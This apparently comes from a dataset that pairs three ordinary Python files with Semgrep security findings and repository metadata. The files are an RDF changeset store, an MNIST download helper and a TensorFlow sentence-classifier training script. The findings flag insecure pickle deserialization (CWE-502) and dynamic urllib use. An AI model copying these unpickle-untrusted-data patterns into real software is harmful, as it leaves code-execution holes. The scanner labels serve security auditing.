with self.conn() as conn:
rows = conn.execute(
"SELECT id, timestamp from changesets "
"ORDER BY timestamp DESC LIMIT 1"
)
res = rows.fetchone()
return res
def version_before(self, ts: str) -> str:
"""Returns the version timestamp most immediately
*before* the given iso8601-formatted timestamp"""
with self.conn() as conn:
rows = conn.execute(
"SELECT timestamp from changesets "
"WHERE timestamp < ? "
"ORDER BY timestamp DESC LIMIT 1",
(ts,),
)
res = rows.fetchone()
return res[0]
def __len__(self):
# need to override __len__ because the rdflib-sqlalchemy
# backend doesn't support .count() for recent versions of
# SQLAlchemy
return len(list(self.triples((None, None, None))))
def undo(self):
"""
Undoes the given changeset. If no changeset is given,
undoes the most recent changeset.
"""
if self.latest_version is None:
raise Exception("No changesets to undo")
with self.conn() as conn:
changeset_id = self.latest_version["id"]
logger.info(f"Undoing changeset {changeset_id}")
self._graph_at(
self, conn, self.version_before(self.latest_version["timestamp"])
)
conn.execute(
"INSERT INTO redos(id, timestamp, graph, is_insertion, triple) SELECT id, timestamp, graph, is_insertion, triple FROM changesets WHERE id = ?",
(changeset_id,),
)
conn.execute("DELETE FROM changesets WHERE id = ?", (changeset_id,))
def redo(self):
"""
Redoes the most recent changeset.
"""
with self.conn() as conn:
redo_record = conn.execute(
"SELECT * from redos " "ORDER BY timestamp ASC LIMIT 1"
).fetchone()
if redo_record is None:
raise Exception("No changesets to redo")
changeset_id = redo_record["id"]
logger.info(f"Redoing changeset {changeset_id}")
conn.execute(
"INSERT INTO changesets SELECT * FROM redos WHERE id = ?",
(changeset_id,),
)
conn.execute("DELETE FROM redos WHERE id = ?", (changeset_id,))
self._graph_at(self, conn, redo_record["timestamp"])
for row in conn.execute(
"SELECT * from changesets WHERE id = ?", (changeset_id,)
):
triple = pickle.loads(row["triple"])
if row["is_insertion"]:
self.remove((triple[0], triple[1], triple[2]))
else:
self.add((triple[0], triple[1], triple[2]))
def versions(self, graph=None):
"""
Return a list of all versions of the provided graph; defaults
to the union of all graphs
"""
with self.conn() as conn:
if graph is None:
rows = conn.execute(
"SELECT DISTINCT id, graph, timestamp from changesets "
"ORDER BY timestamp DESC"
)
else:
rows = conn.execute(
"SELECT DISTINCT id, graph, timestamp from changesets "
"WHERE graph = ? ORDER BY timestamp DESC",
(graph,),
)
return list(rows)
def add_precommit_hook(self, hook):
self._precommit_hooks[hook.__name__] = hook
def add_postcommit_hook(self, hook):
self._postcommit_hooks[hook.__name__] = hook
@contextmanager
def conn(self):
yield self.store.engine.connect()
@contextmanager
def new_changeset(self, graph_name, ts=None):
namespaces = []
with self.conn() as conn:
transaction_start = time.time()
cs = Changeset(graph_name)
yield cs
if ts is None:
ts = datetime.now().isoformat()
# delta by the user. We need to invert the changes so that they are expressed as a "backward"
# delta. This means that we save the deletions in the changeset as "inserts", and the additions
# as "deletions".
if cs.deletions:
conn.exec_driver_sql(
"INSERT INTO changesets VALUES (?, ?, ?, ?, ?)",
[
(str(cs.uid), ts, graph_name, True, pickle.dumps(triple))
for triple in cs.deletions
],
)
graph = self.get_context(graph_name)
for triple in cs.deletions:
graph.remove(triple)
if cs.additions:
conn.exec_driver_sql(
"INSERT INTO changesets VALUES (?, ?, ?, ?, ?)",
[
(str(cs.uid), ts, graph_name, False, pickle.dumps(triple))
for triple in cs.additions
],
)
with BatchAddGraph(
self.get_context(graph_name), batch_size=10000
) as graph:
for triple in cs.additions:
graph.add(triple)
# take care of precommit hooks
transaction_end = time.time()
for hook in self._precommit_hooks.values():
hook(self)
# keep track of namespaces so we can add them to the graph
# after the commit
namespaces.extend(cs.namespace_manager.namespaces())
# # finally, remove all of the 'redos'
# conn.execute("DELETE FROM redos")
# # and remove all of the 'changesets' that come after us
logging.info(
f"Committing after {transaction_end - transaction_start} seconds"
)
# update namespaces
for pfx, ns in namespaces:
self.bind(pfx, ns)
for hook in self._postcommit_hooks.values():
hook(self)
self._latest_version = ts
def latest(self, graph):
return self.get_context(graph)
def graph_at(self, timestamp=None, graph=None):
# setup graph and bind namespaces
g = Graph()
for pfx, ns in self.namespace_manager.namespaces():
g.bind(pfx, ns)
# if graph is specified, only copy triples from that graph.
# otherwise, copy triples from all graphs.
if graph is not None:
for t in self.get_context(graph).triples((None, None, None)):
g.add(t)
else:
for t in self.triples((None, None, None)):
g.add(t)
with self.conn() as conn:
return self._graph_at(g, conn, timestamp, graph)
def _graph_at(self, alter_graph, conn, timestamp=None, graph=None):
"""
Return *copy* of the graph at the given timestamp. Chooses the most recent timestamp
that is less than or equal to the given timestamp.
"""
if timestamp is None:
timestamp = datetime.now().isoformat()
if graph is not None:
rows = conn.execute(
"SELECT * FROM changesets WHERE graph = ? AND timestamp > ? ORDER BY timestamp DESC",
(graph, timestamp),
)
else:
rows = conn.execute(
"SELECT * FROM changesets WHERE timestamp > ? ORDER BY timestamp DESC",
(timestamp,),
)
for row in rows:
triple = pickle.loads(row["triple"])
if row["is_insertion"]:
alter_graph.add((triple[0], triple[1], triple[2]))
else:
alter_graph.remove((triple[0], triple[1], triple[2]))
return alter_graph
| 307 | 34.93 | 159 | 19 | 2,323 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_333109e88c99678f_9bfb7474", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 171, "line_end": 171, "column_start": 26, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/333109e88c99678f.py", "start": {"line": 171, "col": 26, "offset": 5727}, "end": {"line": 171, "col": 53, "offset": 5754}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_333109e88c99678f_6ac00401", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 222, "line_end": 222, "column_start": 61, "column_end": 81, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/333109e88c99678f.py", "start": {"line": 222, "col": 61, "offset": 7668}, "end": {"line": 222, "col": 81, "offset": 7688}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_333109e88c99678f_475f2422", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 233, "line_end": 233, "column_start": 62, "column_end": 82, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/333109e88c99678f.py", "start": {"line": 233, "col": 62, "offset": 8139}, "end": {"line": 233, "col": 82, "offset": 8159}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_333109e88c99678f_a257828c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 302, "line_end": 302, "column_start": 22, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/333109e88c99678f.py", "start": {"line": 302, "col": 22, "offset": 10786}, "end": {"line": 302, "col": 49, "offset": 10813}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
171,
222,
233,
302
] | [
171,
222,
233,
302
] | [
26,
61,
62,
22
] | [
53,
81,
82,
49
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | persistent.py | /brickschema/persistent.py | BrickSchema/py-brickschema | BSD-2-Clause | |
2024-11-18T20:29:49.277317+00:00 | 1,497,705,990,000 | 8c1c91eda7f80e923ccd923c8c695ab67a88409b | 3 | {
"blob_id": "8c1c91eda7f80e923ccd923c8c695ab67a88409b",
"branch_name": "refs/heads/master",
"committer_date": 1497705990000,
"content_id": "12fc28709000864d6c84ec13cb074a1922fa54f1",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "453e21dd681690886a876dd3058b3d6775665099",
"extension": "py",
"filename": "util.py",
"fork_events_count": 0,
"gha_created_at": 1497474951000,
"gha_event_created_at": 1497474951000,
"gha_language": null,
"gha_license_id": null,
"github_id": 94373728,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1619,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/examples/util.py",
"provenance": "stack-edu-0054.json.gz:578643",
"repo_name": "joh4n/elbow",
"revision_date": 1497705990000,
"revision_id": "2c39f61d28e85231bb6d4cae8b98c3e0d279bcb5",
"snapshot_id": "6faed5034831b617352b83e7836adf987fcfc9c5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/joh4n/elbow/2c39f61d28e85231bb6d4cae8b98c3e0d279bcb5/examples/util.py",
"visit_date": "2021-03-19T07:31:47.273610"
} | 2.84375 | stackv2 | import numpy as np
import os
import urllib
import cPickle as pickle
def batch_generator(X, y, batch_size, max_steps=None):
N = X.shape[0]
i = 0
while (max_steps is None) or i < max_steps:
i += 1
p = np.random.permutation(N)[:batch_size]
xx = X[p]
yy = y[p]
yield i, xx, yy
def download(url):
"download and return path to file"
fname = os.path.basename(url)
datadir = "downloads"
datapath = os.path.join(datadir, fname)
if not os.path.exists(datapath):
print "downloading %s to %s"%(url, datapath)
if not os.path.exists(datadir): os.makedirs(datadir)
urllib.urlretrieve(url, datapath)
return datapath
def fetch_dataset(url):
datapath = download(url)
fname = os.path.basename(url)
extension = os.path.splitext(fname)[-1]
assert extension in [".npz", ".pkl"]
if extension == ".npz":
return np.load(datapath)
elif extension == ".pkl":
with open(datapath, 'rb') as fin:
return pickle.load(fin)
else:
raise NotImplementedError
def get_mnist():
# TODO: some of this code stolen from CGT
mnist = fetch_dataset("http://rll.berkeley.edu/cgt-data/mnist.npz")
Xdata = (mnist["X"]/255.).astype(np.float32)
ydata = mnist["y"]
return Xdata, ydata
def mnist_training_data():
Xdata, ydata = get_mnist()
Xtrain = Xdata[0:60000]
Xtest = Xdata[60000:70000]
ytrain = ydata[0:60000]
ytest = ydata[60000:70000]
sortinds = np.random.permutation(60000)
return Xtrain[sortinds], ytrain[sortinds], Xtest, ytest
| 59 | 26.44 | 71 | 14 | 482 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_e6620d4aa6086326_5d5c9538", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmpr7mo7ysm/e6620d4aa6086326.py", "start": {"line": 26, "col": 9, "offset": 658}, "end": {"line": 26, "col": 42, "offset": 691}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_e6620d4aa6086326_a1a9ecfa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 20, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpr7mo7ysm/e6620d4aa6086326.py", "start": {"line": 38, "col": 20, "offset": 1038}, "end": {"line": 38, "col": 36, "offset": 1054}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e6620d4aa6086326_d0fd5856", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 20, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/e6620d4aa6086326.py", "start": {"line": 38, "col": 20, "offset": 1038}, "end": {"line": 38, "col": 36, "offset": 1054}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
38,
38
] | [
38,
38
] | [
20,
20
] | [
36,
36
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead t... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | util.py | /examples/util.py | joh4n/elbow | BSD-3-Clause | |
2024-11-18T20:29:49.672879+00:00 | 1,564,484,072,000 | c8b13119c42ca3899c9b444cb23b9bd9743f5864 | 2 | {
"blob_id": "c8b13119c42ca3899c9b444cb23b9bd9743f5864",
"branch_name": "refs/heads/master",
"committer_date": 1564484072000,
"content_id": "d87ff623f2e31996ee89e5a8798f8b2ab1ae71f8",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "770226d1ca37203e890cd2ac0e71b5648aff9929",
"extension": "py",
"filename": "train.py",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 183985611,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3305,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/boseop/Convolutional_Neural_Networks_for_Sentence_Classification/train.py",
"provenance": "stack-edu-0054.json.gz:578648",
"repo_name": "modudeepnlp/NLP_Tensorflow2.0",
"revision_date": 1564484072000,
"revision_id": "b0fcc5a1521e865b0a7b06042324c0b0d6844d06",
"snapshot_id": "bcea059c44851ead584a4ebb755d890c8da980f6",
"src_encoding": "UTF-8",
"star_events_count": 11,
"url": "https://raw.githubusercontent.com/modudeepnlp/NLP_Tensorflow2.0/b0fcc5a1521e865b0a7b06042324c0b0d6844d06/boseop/Convolutional_Neural_Networks_for_Sentence_Classification/train.py",
"visit_date": "2020-05-17T21:55:51.391201"
} | 2.484375 | stackv2 | import json
import tensorflow as tf
import fire
import pickle
from model.net import SenCNN
from model.utils import PreProcessor
from pathlib import Path
from mecab import MeCab
from tqdm import tqdm
def create_dataset(filepath, batch_size, shuffle=True, drop_remainder=True):
ds = tf.data.TextLineDataset(filepath)
if shuffle:
ds = ds.shuffle(buffer_size=1000)
ds = ds.batch(batch_size=batch_size, drop_remainder=drop_remainder)
return ds
def evaluate(model, dataset, loss_fn, preprocess_fn):
if tf.keras.backend.learning_phase():
tf.keras.backend.set_learning_phase(0)
avg_loss = 0
for step, mb in tqdm(enumerate(dataset), desc='steps'):
x_mb, y_mb = preprocess_fn(mb)
mb_loss = loss_fn(y_mb, model(x_mb))
avg_loss += mb_loss.numpy()
else:
avg_loss /= (step + 1)
return avg_loss
def main(cfgpath, global_step):
# parsing config.json
proj_dir = Path.cwd()
params = json.load((proj_dir / cfgpath).open())
# create dataset
batch_size = params['training'].get('batch_size')
tr_filepath = params['filepath'].get('tr')
val_filepath = params['filepath'].get('val')
tr_ds = create_dataset(tr_filepath, batch_size, True)
val_ds = create_dataset(val_filepath, batch_size, False)
# create pre_processor
vocab = pickle.load((proj_dir / params['filepath'].get('vocab')).open(mode='rb'))
pre_processor = PreProcessor(vocab=vocab, tokenizer=MeCab().morphs, pad_idx=1)
# create model
model = SenCNN(num_classes=2, vocab=vocab)
# create optimizer & loss_fn
epochs = params['training'].get('epochs')
learning_rate = params['training'].get('learning_rate')
opt = tf.optimizers.Adam(learning_rate=learning_rate)
loss_fn = tf.losses.SparseCategoricalCrossentropy(from_logits=True)
writer = tf.summary.create_file_writer(logdir='./runs/exp')
# training
for epoch in tqdm(range(epochs), desc='epochs'):
tr_loss = 0
tf.keras.backend.set_learning_phase(1)
for step, mb in tqdm(enumerate(tr_ds), desc='steps'):
x_mb, y_mb = pre_processor.convert2idx(mb)
with tf.GradientTape() as tape:
mb_loss = loss_fn(y_mb, model(x_mb))
grads = tape.gradient(target=mb_loss, sources=model.trainable_variables)
opt.apply_gradients(grads_and_vars=zip(grads, model.trainable_variables))
tr_loss += mb_loss.numpy()
if tf.equal(opt.iterations % global_step, 0):
with writer.as_default():
val_loss = evaluate(model, val_ds, loss_fn, pre_processor.convert2idx)
tf.summary.scalar('tr_loss', tr_loss / (step + 1), step=opt.iterations)
tf.summary.scalar('val_loss', val_loss, step=opt.iterations)
tf.keras.backend.set_learning_phase(1)
else:
tr_loss /= (step + 1)
val_loss = evaluate(model, val_ds, loss_fn, pre_processor.convert2idx)
tqdm.write('epoch : {}, tr_loss : {:.3f}, val_loss : {:.3f}'.format(epoch + 1, tr_loss, val_loss))
ckpt_path = proj_dir / params['filepath'].get('ckpt')
ckpt = tf.train.Checkpoint(model=model)
ckpt.save(ckpt_path)
if __name__ == '__main__':
fire.Fire(main)
| 99 | 32.38 | 106 | 18 | 797 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_9057944d3e35f66e_3e1dcc84", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 13, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/9057944d3e35f66e.py", "start": {"line": 49, "col": 13, "offset": 1340}, "end": {"line": 49, "col": 86, "offset": 1413}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
49
] | [
49
] | [
13
] | [
86
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | train.py | /boseop/Convolutional_Neural_Networks_for_Sentence_Classification/train.py | modudeepnlp/NLP_Tensorflow2.0 | Apache-2.0 | |
2024-11-18T20:29:56.426780+00:00 | 1,665,437,990,000 | 062f25718be272661eba744955eafcafcc3062c4 | 2 | {
"blob_id": "062f25718be272661eba744955eafcafcc3062c4",
"branch_name": "refs/heads/master",
"committer_date": 1665437990000,
"content_id": "7c7e08b303b710fb2ae70b3e79dadfc6457cfd03",
"detected_licenses": [],
